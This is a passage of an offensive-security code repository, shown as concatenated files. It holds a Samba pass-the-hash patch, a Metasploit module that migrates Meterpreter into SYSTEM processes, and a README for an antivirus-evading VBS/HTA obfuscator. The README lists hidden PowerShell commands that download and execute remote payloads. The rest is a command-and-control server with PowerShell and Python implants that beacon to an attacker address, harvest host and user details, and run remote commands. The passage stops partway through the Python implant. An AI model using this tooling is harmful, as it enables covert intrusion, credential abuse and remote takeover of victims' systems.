key" 13 | @@ -63,6 +66,61 @@ bool SMBencrypt(const char *passwd, cons 14 | return ret; 15 | } 16 | 17 | +/* 18 | + Support for using LM/NTLM hashes -- jmk@foofus.net 10/2006 19 | + Greets: Foofus, Phenfen, Omi, Fizzgig, pMonkey 20 | +*/ 21 | +// Tweaked to work with later version(s) of samba by Alva "Skip" Duckwall 22 | +void E_set_hash(const char *passwd, int type, unsigned char hash[16]) 23 | +{ 24 | + uint l; 25 | + char p[1024]; 26 | + int i, j; 27 | + char HexChar; 28 | + int HexValue; 29 | + 30 | +printf("%s\n",passwd); 31 | +//////// 32 | +// substitute hashes lm:nt (65 char) / lm:nt::: (68 char) 33 | +// lmlmlmlmlmlmlmlmlmlmlmlmlmlmlmlm:ntntntntntntntntntntntntntntntnt 34 | +// based on the foofus samba patch by jmk 35 | +// Modified by Alva "Skip" Duckwall 36 | +//////// 37 | + if ( strlen(passwd) == 65 || strlen(passwd) == 68) 38 | + { strncpy (p,passwd,1023) ;} else 39 | + if ( (getenv("SMBHASH")) && (strlen(getenv("SMBHASH")) == 65 || strlen(getenv("SMBHASH")) == 65) ) 40 | + { 41 | + strncpy(p, getenv("SMBHASH"),1023); 42 | + } 43 | + for (i=0; i<16; i++) { 44 | + HexValue = 0x0; 45 | + for (j=0; j<2; j++) { 46 | + if (type == SMB_HASH_LM) 47 | + HexChar = (char)p[2*i+j]; 48 | + else 49 | + HexChar = (char)p[2*i+j+33]; 50 | + 51 | + if (HexChar > 0x39) 52 | + HexChar = HexChar | 0x20; /* convert upper case to lower */ 53 | + 54 | + if (!(((HexChar >= 0x30) && (HexChar <= 0x39))|| /* 0 - 9 */ 55 | + ((HexChar >= 0x61) && (HexChar <= 0x66)))) { /* a - f */ 56 | + fprintf(stderr, "Error invalid char (%c) for hash.\n", HexChar); 57 | + exit(1); 58 | + } 59 | + 60 | + HexChar -= 0x30; 61 | + if (HexChar > 0x09) /* HexChar is "a" - "f" */ 62 | + HexChar -= 0x27; 63 | + 64 | + HexValue = (HexValue << 4) | (char)HexChar; 65 | + } 66 | + hash[i] = (unsigned char)HexValue; 67 | + } 68 | + 69 | +} 70 | +/* jmk */ 71 | + 72 | /** 73 | * Creates the MD4 Hash of the users password in NT UNICODE. 74 | * @param passwd password in 'unix' charset. 75 | @@ -75,6 +133,12 @@ bool E_md4hash(const char *passwd, uint8 76 | smb_ucs2_t *wpwd; 77 | bool ret; 78 | 79 | + /* Support for using NTLM hashes -- jmk@foofus.net 10/2006 */ 80 | + // Modified for 65/68 char passwords by Alva 'Skip' Duckwall 81 | + if ( getenv("SMBHASH") || strlen(passwd) == 65 || strlen(passwd) == 68) { 82 | + fprintf(stderr, "HASH PASS: Substituting user supplied NTLM HASH...\n"); 83 | + E_set_hash(passwd,SMB_HASH_NTLM, p16); 84 | + } else { 85 | ret = push_ucs2_talloc(NULL, &wpwd, passwd, &len); 86 | if (!ret || len < 2) { 87 | /* We don't want to return fixed data, as most callers 88 | @@ -87,6 +151,7 @@ bool E_md4hash(const char *passwd, uint8 89 | mdfour(p16, (const uint8_t *)wpwd, len); 90 | 91 | talloc_free(wpwd); 92 | + } 93 | return true; 94 | } 95 | 96 | @@ -100,9 +165,13 @@ bool E_md4hash(const char *passwd, uint8 97 | void E_md5hash(const uint8_t salt[16], const uint8_t nthash[16], uint8_t hash_out[16]) 98 | { 99 | struct MD5Context tctx; 100 | + uint8_t array[32]; 101 | + 102 | + memset(hash_out, '\0', 16); 103 | + memcpy(array, salt, 16); 104 | + memcpy(&array[16], nthash, 16); 105 | MD5Init(&tctx); 106 | - MD5Update(&tctx, salt, 16); 107 | - MD5Update(&tctx, nthash, 16); 108 | + MD5Update(&tctx, array, 32); 109 | MD5Final(hash_out, &tctx); 110 | } 111 | 112 | @@ -116,39 +185,28 @@ void E_md5hash(const uint8_t salt[16], c 113 | 114 | bool E_deshash(const char *passwd, uint8_t p16[16]) 115 | { 116 | - bool ret; 117 | - uint8_t dospwd[14]; 118 | - TALLOC_CTX *frame = talloc_stackframe(); 119 | - 120 | - size_t converted_size; 121 | - 122 | - char *tmpbuf; 123 | - 124 | - ZERO_STRUCT(dospwd); 125 | - 126 | - tmpbuf = strupper_talloc(frame, passwd); 127 | - if (tmpbuf == NULL) { 128 | - /* Too many callers don't check this result, we need to fill in the buffer with something */ 129 | - strlcpy((char *)dospwd, passwd ? passwd : "", sizeof(dospwd)); 130 | - E_P16(dospwd, p16); 131 | - talloc_free(frame); 132 | - return false; 133 | - } 134 | - 135 | + bool ret = true; 136 | + char dospwd[256]; 137 | ZERO_STRUCT(dospwd); 138 | 139 | - ret = convert_string_error(CH_UNIX, CH_DOS, tmpbuf, strlen(tmpbuf), dospwd, sizeof(dospwd), &converted_size); 140 | - talloc_free(frame); 141 | - 142 | - /* Only the first 14 chars are considered, password need not 143 | - * be null terminated. We do this in the error and success 144 | - * case to avoid returning a fixed 'password' buffer, but 145 | - * callers should not use it when E_deshash returns false */ 146 | + /* Support for using LM hashes -- jmk@foofus.net 10/2006 */ 147 | + // modified by Alva "Skip" Duckwall for 65/68 character hash passwords 148 | + if ( getenv("SMBHASH") || strlen(passwd) == 65 || strlen(passwd) == 68 ) { 149 | + fprintf(stderr, "HASH PASS: Substituting user supplied LM HASH...\n"); 150 | + E_set_hash(passwd,SMB_HASH_LM, p16); 151 | + } else { 152 | + /* Password must be converted to DOS charset - null terminated, uppercase. */ 153 | + push_string(dospwd, passwd, sizeof(dospwd), STR_ASCII|STR_UPPER|STR_TERMINATE); 154 | 155 | + /* Only the first 14 chars are considered, password need not be null terminated. */ 156 | E_P16((const uint8_t *)dospwd, p16); 157 | 158 | - ZERO_STRUCT(dospwd); 159 | + if (strlen(dospwd) > 14) { 160 | + ret = false; 161 | + } 162 | 163 | + ZERO_STRUCT(dospwd); 164 | + } 165 | return ret; 166 | } 167 | -------------------------------------------------------------------------------- /boot2own/srcs/winexe-waf.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xor-function/fathomless/5bcbb48862f69fec1abd6b34705798fa81892da2/boot2own/srcs/winexe-waf.tar.gz -------------------------------------------------------------------------------- /boot2own/system_migrate.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http//metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | require 'rex' 8 | 9 | class Metasploit3 < Msf::Post 10 | 11 | def initialize(info={}) 12 | super( update_info( info, 13 | 'Name' => 'Windows Manage System Process Migration', 14 | 'Description' => %q{ This is a moddified smart_migrate module for Meterpreter. 15 | First it will attempt to migrate to a proccess with SYSTEM level access. If that fails 16 | it will attempt to migrate to an explorer.exe process.}, 17 | 'License' => MSF_LICENSE, 18 | 'Author' => [ 'original:thelightcosine/modder:xor-function'], 19 | 'Platform' => [ 'win' ], 20 | 'SessionTypes' => [ 'meterpreter' ] 21 | )) 22 | 23 | 24 | end 25 | 26 | def run 27 | server = client.sys.process.open 28 | original_pid = server.pid 29 | print_status("Current server process: #{server.name} (#{server.pid})") 30 | 31 | uid = client.sys.config.getuid 32 | 33 | processes = client.sys.process.get_processes 34 | 35 | spp_procs = [] 36 | wmp_procs = [] 37 | spool_procs = [] 38 | winlogon_procs = [] 39 | explorer_procs = [] 40 | processes.each do |proc| 41 | spp_procs << proc if proc['name'] == "sppsvc.exe" 42 | wmp_procs << proc if proc['name'] == "wmpnetwk.exe" 43 | spool_procs << proc if proc['name'] == "spoolsv.exe" 44 | winlogon_procs << proc if proc['name'] == "winlogon.exe" 45 | explorer_procs << proc if proc['name'] == "explorer.exe" 46 | end 47 | 48 | print_status "Attempting to move into sppsvc.exe for SYSTEM..." 49 | spp_procs.each { |proc| return if attempt_migration(proc['pid']) } 50 | print_status "Attempting to move into wmpnetwk.exe for SYSTEM..." 51 | wmp_procs.each { |proc| return if attempt_migration(proc['pid']) } 52 | print_status "Attempting to move into spoolsv.exe for SYSTEM..." 53 | spool_procs.each { |proc| return if attempt_migration(proc['pid']) } 54 | print_status "Attempting to move into winlogon.exe for SYSTEM..." 55 | winlogon_procs.each { |proc| return if attempt_migration(proc['pid']) } 56 | print_status "Attempting to move into explorer.exe..." 57 | explorer_procs.each { |proc| return if attempt_migration(proc['pid']) } 58 | 59 | print_error "Was unable to sucessfully migrate into any of our likely candidates" 60 | end 61 | 62 | 63 | def attempt_migration(target_pid) 64 | begin 65 | print_good("Migrating to #{target_pid}") 66 | client.core.migrate(target_pid) 67 | print_good("Successfully migrated to process #{target_pid}") 68 | return true 69 | rescue ::Exception => e 70 | print_error("Could not migrate in to process.") 71 | print_error(e.to_s) 72 | return false 73 | end 74 | end 75 | end 76 | -------------------------------------------------------------------------------- /gen-obfuscated/LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2015 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /gen-obfuscated/README.md: -------------------------------------------------------------------------------- 1 | # gen-obfuscated 2 | 3 | ### Generate Obfuscated Code 4 | This is a simple perl program that generates obfuscated vbs/vba code 5 | for use in passing a command to cmd /c while bypassing AV. 6 | 7 | To set the options you will need to edit the .pl file directly this is not just a 8 | simple program with preset payloads. It's designed to take in any 9 | type of one-liner you can think of passing to "cmd.exe /c". 10 | 11 | Made to be used along with the async-client powershell script, but any one-liner 12 | that get's you a shell should work. 13 | 14 | Generated Output of an obfuscated command string: 15 | 16 | ![generated output](http://www.fathomlessproject.com/pics/string-obfuscation-1.png) 17 | 18 | 19 | The hash value of the resulting code with the same command string will alter upon 20 | each run. 21 | 22 | ![generated hash](http://www.fathomlessproject.com/pics/string-obfuscation-2.png) 23 | 24 | 25 | ### UPDATE 26 | Now has an interactive user prompt just run it from the terminal. 27 | 28 | ``` 29 | ./gen-obfuscated.pl 30 | ``` 31 | The below can still give you ideas of what commands to run and should help you get started. 32 | 33 | ``` 34 | gen-obfuscated.pl 35 | 36 | ##[ Options ] 37 | # 38 | # The options are included inside due to the tricky nature of escaping powershell code passed as an 39 | # argument from the bash shell, also I don't need too since now the commands are directly taken from the 40 | # user interactively. 41 | 42 | ##[ Script Type to generate ] 43 | # 44 | # 1 for vbscript 45 | # 2 for vba macro ---> EXPERIMENTAL large macros can be generated affects still unknown... 46 | # 3 for hta script 47 | # 48 | ##[ Encode Your IEX? ] 49 | # 50 | # base64 encoding in Powershell, set to false if you already have a base64 encoded payload or 51 | # you want your iex only obfuscated by ascii code. 52 | # 53 | ##[ PowerShell IEX ] 54 | # 55 | # The command you wish to be base64 encoded 56 | # iex (New-Object -ComObject Wscript.Shell).Popup('IEX Decoded and Executed!',0,'Done',0x1) 57 | # 58 | # If you already have a powershell command with encoding, for example this can also be used with the 59 | # alphanumeric shellcode injector payload generated by the setoolkit, I warn you this will create a 60 | # very long script upwards of 350 lines... 61 | # 62 | # cmd /c powershell -w hidden -enc <-base64 encoded string-> 63 | # 64 | # Only use ascii chr function obfuscation 65 | # cmd /c powershell -w hidden -c iex (New-Object System.Net.WebClient).DownloadString('http://192.168.1.110/rvs-sh') 66 | # 67 | # OR 68 | # 69 | # A one-liner that supports a dowloadstring from a https site with a self-signed cert. 70 | # cmd /c powershell.exe -w hidden -c "&{[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};iex(New-Object System.Net.Webclient).DownloadString('https://192.168.0.15/client')}" 71 | # 72 | # OR 73 | # 74 | # A command that produces a popup, for testing only using ascii chr function obfuscation 75 | # cmd /c powershell -w hidden -c iex (New-Object -ComObject Wscript.Shell).Popup('IEX Decoded and Executed!',0,'Done',0x1);); 76 | # 77 | # OR 78 | # 79 | # A command using javascript to pass commands directly to mshta, for maximum effect use script type 3 80 | # cmd /c mshta "javascript:var sh=new ActiveXObject( 'WScript.Shell' ); sh.Popup( 'Javascript decoded and Executed', 15, 'From gen-obfuscated', 64 );close()"); 81 | # 82 | # Be Creative... 83 | 84 | ``` 85 | -------------------------------------------------------------------------------- /iac2/README.md: -------------------------------------------------------------------------------- 1 | # IAC2 2 | 3 | ``` 4 | Short for inital access c2 server, the idea behind this is the first c2 to make contact. 5 | use this to filter targets that are any worth. 6 | 7 | server side: 8 | 9 | iaa-monitor.pl -> perl cgi app 10 | cli_shell.pl -> interactive shell in perl 11 | 12 | This was made to work with Debian/Ubuntu server distro (tested in Debian 8). After a 13 | clean install just run setup-iac2.sh to setup. 14 | 15 | Once setup run the cli_shell.pl to interact with any systems that have executed 16 | client code on them. 17 | 18 | It's light weight, has simple clients and uses a lighttpd server, no databases are 19 | required so you can set it up and tear it down without difficulty. 20 | 21 | These are the two client's: 22 | 23 | initial-access-agent.ps1 -> client in powershell 24 | initial-access-agent.py -> client in python 25 | 26 | You can compile the powershell using ps2exe to a binary if you wish but try to run it 27 | in memory. 28 | 29 | the python version is a work in progress, you should be able to complie using pyinstaller, 30 | py2exe or py2app etc. 31 | 32 | There is basic OS detection and it will be shown through the cli_shell.pl script. 33 | Use caution on your command input since you have direct shell access via subprocess.Popen() 34 | 35 | ``` 36 | -------------------------------------------------------------------------------- /iac2/iaa-monitor.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | # 3 | # 4 | # 5 | 6 | use CGI; 7 | use strict; 8 | use warnings; 9 | use File::Path qw(make_path remove_tree); 10 | use MIME::Base64; 11 | 12 | $CGI::POST_MAX=1024 * 2000; 13 | 14 | # decodes a url safe bas64 encoded string 15 | sub proc_decurl { 16 | 17 | my $raw_string = $_[0]; 18 | $raw_string =~ tr/!/=/; 19 | $raw_string =~ tr/_/\//; 20 | $raw_string =~ tr/-/+/; 21 | my $dec_string = decode_base64($raw_string); 22 | 23 | return $dec_string; 24 | } 25 | 26 | # encodes command with base64 before printing to webpage 27 | sub proc_enccmd { 28 | 29 | my $string = $_[0]; 30 | my $enc_string = encode_base64($string); 31 | 32 | return $enc_string; 33 | 34 | } 35 | 36 | # generates random string 37 | sub rstring { 38 | 39 | my @chr = ("A".."Z", "a".."z"); 40 | my $rloop = int(35); 41 | my $rstring; 42 | 43 | while ($rloop != 0) 44 | { 45 | 46 | $rstring .= $chr[int(rand(52))]; 47 | $rloop--; 48 | 49 | } 50 | 51 | return $rstring; 52 | 53 | } 54 | 55 | # check if file exits then compares contents of file with supplied key 56 | # returns a success or failure 57 | sub auth_client { 58 | 59 | my $cgi = $_[0]; 60 | my $auth_file = $_[1]; 61 | 62 | # Authentication here 63 | if (!defined($cgi->param('auth'))) { die "[!] fail!\n"; } 64 | my $rawkey = $cgi->param('auth'); 65 | 66 | my $key = proc_decurl($rawkey); 67 | 68 | chomp($key); 69 | 70 | open(my $fh, '<', $auth_file); 71 | my $line = <$fh>; 72 | close $fh; 73 | 74 | my $output = $line; 75 | chomp($output); 76 | 77 | if ( $output eq $key ) { return "win"; } 78 | else { return "fail"; } 79 | 80 | } 81 | 82 | # subroutine that handles parameters 83 | sub get_param{ 84 | 85 | my $cdir = "/var/iac2/systems/"; 86 | my $pass_file = "/var/iac2/init-pass"; 87 | my $param_out; 88 | 89 | # my $sanitize = "a-zA-Z0-9_.-"; 90 | 91 | # create cgi object 92 | my $q = CGI->new(); 93 | 94 | # Accepted params, ignore anything else 95 | if (defined( $q->param('reg')) ) 96 | { 97 | 98 | # Authentication here 99 | my $reg_status = auth_client($q, $pass_file); 100 | if ( $reg_status eq 'fail' ) { die "[!] fail!\n"; } 101 | 102 | my $enc_new_host = $q->param('reg'); 103 | my $new_host = proc_decurl($enc_new_host); 104 | my $full_path = $cdir . $new_host; 105 | 106 | if ( ! -e $full_path ) 107 | { 108 | 109 | my $outfilepath = $full_path; 110 | open(my $fh, '+>', "$outfilepath" ); 111 | print $fh "\n"; 112 | close $fh; 113 | 114 | my $cmdfilepath = $full_path . '-command'; 115 | open(my $fh2, '+>', "$cmdfilepath" ); 116 | print $fh2 "\n"; 117 | close $fh; 118 | 119 | my $stdoutpath = $full_path . '-stdout'; 120 | open(my $fh3, '+>', "$stdoutpath" ); 121 | print $fh3 "\n"; 122 | close $fh3; 123 | 124 | $param_out = $new_host . 'has registered'; 125 | 126 | } else { 127 | $param_out = 'hostname already present'; 128 | } 129 | 130 | } 131 | elsif (defined($q->param('data'))) { 132 | 133 | # setup authentication here 134 | my $get_status = auth_client($q, $pass_file); 135 | if ( $get_status eq 'fail' ) { die "[!] fail!\n"; } 136 | if (!defined($q->param('host'))) { die "[!] no hostname found!\n"; } 137 | 138 | my $enc_data = $q->param('data'); 139 | my $data = proc_decurl($enc_data); 140 | 141 | my $enc_host = $q->param('host'); 142 | my $host = proc_decurl($enc_host); 143 | 144 | my $full_path = $cdir . $host; 145 | my $filepath = $full_path; 146 | 147 | if ( -e $full_path ) 148 | { 149 | 150 | open(my $fh, '+>>', $filepath); 151 | print $fh $data; 152 | close $fh; 153 | 154 | $param_out = 'updated status for ' . $host . "\n"; 155 | 156 | } 157 | 158 | } 159 | elsif (defined($q->param('get'))) { 160 | 161 | # setup authentication here 162 | my $get_status = auth_client($q, $pass_file); 163 | if ( $get_status eq 'fail' ) { die "[!] fail!\n"; } 164 | 165 | my $enc_host = $q->param('get'); 166 | my $host = proc_decurl($enc_host); 167 | 168 | my $full_path_cmd = $cdir . $host . '-command'; 169 | my $cmdfilepath = $full_path_cmd; 170 | 171 | my $full_path_stdout = $cdir . $host . '-stdout'; 172 | my $stdoutpath = $full_path_stdout; 173 | 174 | if ( -e $full_path_cmd ) 175 | { 176 | my $code; 177 | { 178 | open my $fh, '<', $cmdfilepath; 179 | $code = do { local $/; <$fh>}; 180 | close $fh; 181 | } 182 | open(my $fhc, '+>', $cmdfilepath); 183 | print $fhc "\n"; 184 | close $fhc; 185 | $param_out = $code; 186 | 187 | }else { $param_out = 'No hostname found!'; } 188 | 189 | } 190 | elsif (defined($q->param('rsp'))) { 191 | 192 | # setup authentication here 193 | my $get_status = auth_client($q, $pass_file); 194 | if ( $get_status eq 'fail' ) { die "[!] fail!\n"; } 195 | 196 | if (!defined($q->param('host'))) { die "[!] no hostname found!\n"; } 197 | 198 | my $enc_rsp = $q->param('rsp'); 199 | my $rsp = proc_decurl($enc_rsp); 200 | 201 | my $enc_host = $q->param('host'); 202 | my $host = proc_decurl($enc_host); 203 | 204 | my $full_path_stdout = $cdir . $host . '-stdout'; 205 | my $stdoutpath = $full_path_stdout; 206 | 207 | my $full_path_command = $cdir . $host . '-command'; 208 | my $commandpath = $full_path_command; 209 | 210 | if ( -e $full_path_stdout ) 211 | { 212 | open(my $fhs, '+>', $stdoutpath); 213 | print $fhs $rsp . "\n"; 214 | close $fhs; 215 | } 216 | 217 | $param_out = 'recieved upload'; 218 | 219 | } # Trap to catch unwanted request types 220 | else 221 | { 222 | return; 223 | } 224 | 225 | return $param_out; 226 | 227 | } 228 | 229 | sub webpage { 230 | 231 | print "Content-type:text/html\r\n\r\n"; 232 | print 'default page'; 233 | 234 | my $css = '
242 | 
243 | 	

404 Page Not Found.

244 |
'; 245 | # end of css 246 | 247 | print $css; 248 | 249 | } 250 | 251 | # subroutine parameter wrapper 252 | sub main { 253 | 254 | my @params = @_; 255 | 256 | # perform encoding before printing to page 257 | my $result = get_param(@params); 258 | if (!defined($result)) 259 | { 260 | webpage(); 261 | } 262 | else 263 | { 264 | my $enc_cmd = proc_enccmd($result); 265 | print $enc_cmd; 266 | exit 267 | } 268 | 269 | } 270 | 271 | # Insure these files exist or fail to run 272 | if ( ! -e '/var/iac2/init-pass' ) { 273 | die '[!] init-pass file was not found in /var/ica2/systems/ !' . "\n"; 274 | } 275 | 276 | if ( ! -d '/var/iac2/' ) { 277 | die '[!] the ica2 folder was not found in /var !' . "\n"; 278 | } 279 | 280 | 281 | # run main 282 | main(@ARGV); 283 | 284 | -------------------------------------------------------------------------------- /iac2/inital-access-agent.ps1: -------------------------------------------------------------------------------- 1 | # inital-access-agent 2 | function main { 3 | 4 | $uri = 'https://192.168.1.218/' # Set ip address or domain hosting the null-shell cgi app. 5 | $key = 'ZkdkNWYwZjdqZUwtRlRsX3lhUi1PVVY2R3IxZlFW' # set the key that matches the one set on the cgi handler inside single quotes 6 | $certfingerprint = 'C6F8F7C3D8A0924A5643415CC9134D0004473F04' # place your ssl key fingerprint here to perform manual key validation 7 | $agent = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36" # user-agent variable 8 | 9 | function hreq($request) 10 | { 11 | # This turns off https cert checking in order to work with Self Signed Certificates. 12 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } 13 | $webclient = New-Object System.Net.WebClient 14 | $webclient.headers.add("User-Agent", $agent) 15 | $encstring = $webclient.Downloadstring($request) 16 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $null } 17 | $string = b64str-dec $encstring 18 | return $string 19 | } 20 | 21 | function crtchk($urlTocheck) 22 | { 23 | # This turns off https cert checking in order to work with Self Signed Certificates. 24 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } 25 | $millisecs = 5000 26 | $req = [Net.HttpWebRequest]::Create($urlTocheck) 27 | $req.UserAgent = $agent 28 | $req.Timeout = $millisecs 29 | $response = $req.GetResponse() 30 | $response.close() # pipe getresponse response to close connection prevents lock ups 31 | $keyfingerprint = $req.ServicePoint.Certificate.GetCertHashString() 32 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $null } 33 | return $keyfingerprint 34 | } 35 | 36 | function webreq($request) 37 | { 38 | $keyprint = crtchk $uri 39 | if ( "$keyprint" -eq "$certfingerprint" ) { $cmdString = hreq $request } else { throw "CERT PRINT MISMATCH!" } 40 | # Uncomment the below to debug; # write-host server thumbprint [ $keyprint ] ;# write-host client thumbprint [ $certfingerprint ] 41 | return $cmdString 42 | } 43 | 44 | # Making base 64 url safe 45 | function b64url-enc($rawstr) 46 | { 47 | $encstring = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.getbytes($rawstr)) 48 | $rmequal = $encstring -replace '=', '!' 49 | $rmslash = $rmequal -replace '/', '_' 50 | $rmplus = $rmslash -replace '\+', '-' 51 | $encurl = $rmplus 52 | return $encurl 53 | } 54 | 55 | # Do not use this for encoded commands since UTF8 56 | function b64str-enc($str) 57 | { 58 | $b64str = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.getbytes($str)) 59 | return $b64str 60 | } 61 | function b64str-dec($b64str) 62 | { 63 | $str = [System.Text.Encoding]::UTF8.getString([System.Convert]::Frombase64String($b64str)) 64 | return $str 65 | } 66 | 67 | function get-sysname 68 | { 69 | #[->] register machine to server 70 | $rawmac = ((gwmi win32_networkadapter -Filter "AdapterType LIKE 'Ethernet 802.3'") | select -expand macaddress ) 71 | $mac = $rawmac -replace "\W", '-' 72 | $name = $env:computername 73 | $uniqueID = gwmi win32_computersystemproduct | select -expand uuid 74 | $sysname = $name + "::" + $uniqueID 75 | return $sysname 76 | } 77 | 78 | function time-stamp 79 | { 80 | $ti = get-date -format hh:mm:ss.ffff 81 | $stmp = '[response sent] ' + $ti + "`n" 82 | 83 | return $stmp 84 | } 85 | 86 | function get-info 87 | { 88 | $domain = $env:UserDomain 89 | $LogOnServer = $env:LogOnServer 90 | $userName = $env:UserName 91 | $machineName = $env:ComputerName 92 | $rawmac = ((gwmi win32_networkadapter -Filter "AdapterType LIKE 'Ethernet 802.3'") | select -expand macaddress ) 93 | $mac = $rawmac -replace "\W", '-' 94 | $biosversion = gwmi win32_bios | select -expand SMBIOSBIOSVersion 95 | $serial = gwmi win32_bios | select -expand SerialNumber 96 | $uniqueID = gwmi win32_computersystemproduct | select -expand uuid 97 | $updateTime = get-date -uformat "%H:%M:%S_%m-%d-%y" 98 | $OS = (gwmi Win32_OperatingSystem).caption 99 | $SysDescription = (gwmi Win32_OperatingSystem).description 100 | $PsVersion = $PSVersionTable.PSVersion.Major 101 | $telemetry = "$updateTime|$domain|$userName|$LogOnServer|$machineName|$uniqueID|$OS" 102 | write-output $telemetry 103 | } 104 | 105 | function core 106 | { 107 | $hostname = get-sysname 108 | $enchostname = b64url-enc $hostname 109 | $enckey = b64url-enc $key 110 | $enroll = $uri + "?auth=" + $enckey + "®=" + $enchostname 111 | $bucket = webreq $enroll 112 | 113 | while (1) 114 | { 115 | try 116 | { 117 | $getcmd = $uri + "?auth=" + $enckey + "&get=" + $enchostname 118 | $cmd = webreq $getcmd 119 | 120 | if ($cmd -match 'echo') 121 | { 122 | $sendback = (iex "$cmd" 2>&1 | Out-String ) 123 | $tstamp = time-stamp 124 | $summary = $tstamp + $sendback 125 | $encstdout = b64url-enc $summary 126 | 127 | if ( $encstdout.length -gt 65000 ) { $encstdout = $encstdout.substring(0, [System.Math]::Min(65000, $encstdout.length)) } 128 | $upload = $uri + "?auth=" + $enckey + "&rsp=" + $encstdout + "&host=" + $enchostname 129 | $bucket = webreq $upload 130 | Start-Sleep -s 10 131 | } 132 | else 133 | { 134 | $cmd = "get-info" 135 | $sendback = (iex "$cmd" 2>&1 | Out-String ) 136 | $encstdout = b64url-enc $sendback 137 | 138 | if ( $encstdout.length -gt 65000 ) { $encstdout = $encstdout.substring(0, [System.Math]::Min(65000, $encstdout.length)) } 139 | $update = $uri + "?auth=" + $enckey + "&data=" + $encstdout + "&host=" + $enchostname 140 | $bucket = webreq $update 141 | Start-Sleep -s 180 142 | } 143 | } 144 | catch 145 | { 146 | #[->] uncomment warnings below for debugging 147 | $er = $_.Exception.Message 148 | if ( $er -match 'CERT CHECK FAILED!' ) { exit } else { $stmp = time-stamp; $ermsg = $stmp + ' COMMAND FAILED!!! Waiting for 60 seconds before checking back in.' } 149 | $senderror = $ermsg 150 | $encstdout = b64url-enc $senderror 151 | $snderr = $uri + "?auth=" + $enckey + "&data=" + $encstdout + "&host=" + $enchostname 152 | $bucket = webreq $snderr 153 | Start-Sleep -s 500 154 | } 155 | 156 | } 157 | } 158 | 159 | while (1) { try { core } catch { Start-Sleep -s 1000 } } 160 | } main 161 | -------------------------------------------------------------------------------- /iac2/initial-access-agent.py: -------------------------------------------------------------------------------- 1 | # 2 | # Python port of powershell initial access agent 3 | # will look to add cert verification eventually. 4 | # 5 | # xor-function 6 | 7 | import os 8 | import wmi 9 | import uuid 10 | import time 11 | import random 12 | import base64 13 | import datetime 14 | #import httplib2 15 | import requests 16 | import platform 17 | import subprocess 18 | 19 | 20 | uri = 'https://192.168.1.21/' # Set ip address or domain hosting the null-shell cgi app. 21 | key = 'X0g4bGJoWmNTV2NEaWVvQk5NSWltTDR3N0VYTDJX' # set the key that matches the one set on the cgi handler inside single quotes 22 | agent = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36" # user-agent variable 23 | 24 | 25 | def get_time_stamp(): 26 | 27 | tstamp = str(datetime.datetime.now().time()) 28 | return tstamp 29 | 30 | 31 | def get_sysinfo(): 32 | 33 | try: 34 | query = platform.system() 35 | machineName = platform.node() 36 | UUID = uuid.getnode() 37 | userid = os.environ['USERNAME'] 38 | updateTime = get_time_stamp() 39 | 40 | if query == 'Linux': 41 | OpSys = platform.platform() 42 | 43 | if query == 'Windows': 44 | OpSys = platform.platform() 45 | domain = os.environ['USERDOMAIN'] 46 | LogOnServer = os.environ['LOGONSERVER'] 47 | 48 | if query == 'Darwin': 49 | OpSys = platform.platform() 50 | 51 | status = updateTime + '|' + userid + '|' + machineName + '|' + str(UUID) + '|' + OpSys 52 | if query == 'Windows': 53 | status = status + '|' + domain + '|' + LogOnServer 54 | 55 | status = status + '\n' 56 | return status 57 | 58 | except: 59 | 60 | msg = "[!] Failed to get info" 61 | # print msg 62 | return msg 63 | 64 | 65 | 66 | def custom_b64_urlsafe_enc(b64str): 67 | 68 | rpequal = b64str.replace('=', '!') 69 | rpslash = rpequal.replace('/', '_') 70 | rpplus = rpslash.replace('+', '-') 71 | cb64str = rpplus 72 | return cb64str 73 | 74 | 75 | def custom_64_urlsafe_dec(cb64str): 76 | 77 | adequal = cb64str.replace('!', '=') 78 | adslash = adequal.replace('_', '/') 79 | adplus = adslash.replace('-', '+') 80 | b64str = adplus 81 | return b64str 82 | 83 | 84 | def b64encstr(str): 85 | 86 | b64str = base64.b64encode(str) 87 | return b64str 88 | 89 | 90 | def b64decstr(encstr): 91 | 92 | decstr = base64.b64decode(encstr) 93 | return decstr 94 | 95 | 96 | def web_request(url): 97 | 98 | #h = httplib2.Http(".cache", disable_ssl_certificate_validation=True) 99 | #resp, content = h.request(url, headers={'user-agent': agent }) 100 | 101 | # trying out requests 102 | headers = {'user-agent': agent} 103 | resp = requests.get(url, verify=False, headers=headers) 104 | string = resp.content.strip() 105 | 106 | # code block for debuging 107 | #print 